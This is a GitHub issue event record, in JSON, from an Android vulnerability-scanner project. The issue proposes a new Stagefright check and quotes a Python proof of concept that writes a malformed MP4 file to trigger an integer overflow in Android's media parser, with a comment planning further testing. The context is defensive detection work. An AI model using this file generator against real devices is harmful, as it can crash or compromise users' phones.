{"action":"created","issue":{"url":"https://api.github.com/repos/nowsecure/android-vts/issues/12","labels_url":"https://api.github.com/repos/nowsecure/android-vts/issues/12/labels{/name}","comments_url":"https://api.github.com/repos/nowsecure/android-vts/issues/12/comments","events_url":"https://api.github.com/repos/nowsecure/android-vts/issues/12/events","html_url":"https://github.com/nowsecure/android-vts/issues/12","id":106668924,"number":12,"title":"Add additional stagefright check","user":{"login":"Fuzion24","id":772364,"avatar_url":"https://avatars.githubusercontent.com/u/772364?v=3","gravatar_id":"","url":"https://api.github.com/users/Fuzion24","html_url":"https://github.com/Fuzion24","followers_url":"https://api.github.com/users/Fuzion24/followers","following_url":"https://api.github.com/users/Fuzion24/following{/other_user}","gists_url":"https://api.github.com/users/Fuzion24/gists{/gist_id}","starred_url":"https://api.github.com/users/Fuzion24/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Fuzion24/subscriptions","organizations_url":"https://api.github.com/users/Fuzion24/orgs","repos_url":"https://api.github.com/users/Fuzion24/repos","events_url":"https://api.github.com/users/Fuzion24/events{/privacy}","received_events_url":"https://api.github.com/users/Fuzion24/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","locked":false,"assignee":null,"milestone":null,"comments":4,"created_at":"2015-09-15T23:32:30Z","updated_at":"2015-09-16T01:27:28Z","closed_at":"2015-09-16T00:13:38Z","body":"https://gist.github.com/worawit/f6fb016997bdd6b9e414\r\n\r\nhttps://android.googlesource.com/platform/frameworks/av/+/2b50b7aa7d16014ccf35db7a7b4b5e84f7b4027c\r\n\r\n```python\r\n#!/usr/bin/python\r\n\r\n\"\"\"\r\nStagefright PoC for https://android.googlesource.com/platform/frameworks/av/+/2b50b7aa7d16014ccf35db7a7b4b5e84f7b4027c\r\n\"\"\"\r\nfrom struct import pack\r\n\r\ndef create_box(atom_type, data):\r\n    return pack(\"!I\", len(data)+4+4) + atom_type + data\r\n\r\n\r\nftyp_atom = create_box(\"ftyp\", \"mp42\\x00\\x00\\x00\\x00mp42isom\")\r\n\r\n\r\n# Integer overflow in MPEG4Extractor::parseITunesMetaData() function\r\n# moov.udta.meta.ilst.xxxx.data\r\ndata_atom = pack(\"!I\", 1) + \"data\" + pack(\"!II\", 1, 0xf)\r\nanyx_atom = create_box(\"anyx\", data_atom)\r\nilst_atom = create_box(\"ilst\", anyx_atom)\r\nmeta_atom = create_box(\"meta\", pack(\"!I\", 0) + ilst_atom)\r\nudta_atom = create_box(\"udta\", meta_atom)\r\nmoov_atom = create_box(\"moov\", udta_atom)\r\n\r\nf = open('sf-itunes-poc.mp4', 'wb')\r\nf.write(ftyp_atom + moov_atom)\r\nf.write(\"A\"*(3*1024*1024))\r\nf.close()\r\n```"},"comment":{"url":"https://api.github.com/repos/nowsecure/android-vts/issues/comments/140593871","html_url":"https://github.com/nowsecure/android-vts/issues/12#issuecomment-140593871","issue_url":"https://api.github.com/repos/nowsecure/android-vts/issues/12","id":140593871,"user":{"login":"Fuzion24","id":772364,"avatar_url":"https://avatars.githubusercontent.com/u/772364?v=3","gravatar_id":"","url":"https://api.github.com/users/Fuzion24","html_url":"https://github.com/Fuzion24","followers_url":"https://api.github.com/users/Fuzion24/followers","following_url":"https://api.github.com/users/Fuzion24/following{/other_user}","gists_url":"https://api.github.com/users/Fuzion24/gists{/gist_id}","starred_url":"https://api.github.com/users/Fuzion24/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Fuzion24/subscriptions","organizations_url":"https://api.github.com/users/Fuzion24/orgs","repos_url":"https://api.github.com/users/Fuzion24/repos","events_url":"https://api.github.com/users/Fuzion24/events{/privacy}","received_events_url":"https://api.github.com/users/Fuzion24/received_events","type":"User","site_admin":false},"created_at":"2015-09-16T01:27:28Z","updated_at":"2015-09-16T01:27:28Z","body":"there were some ideas that were tossed around about testing for some of these stagefright bugs in a slightly different way. i'm going to take a stab at this tomorrow"}}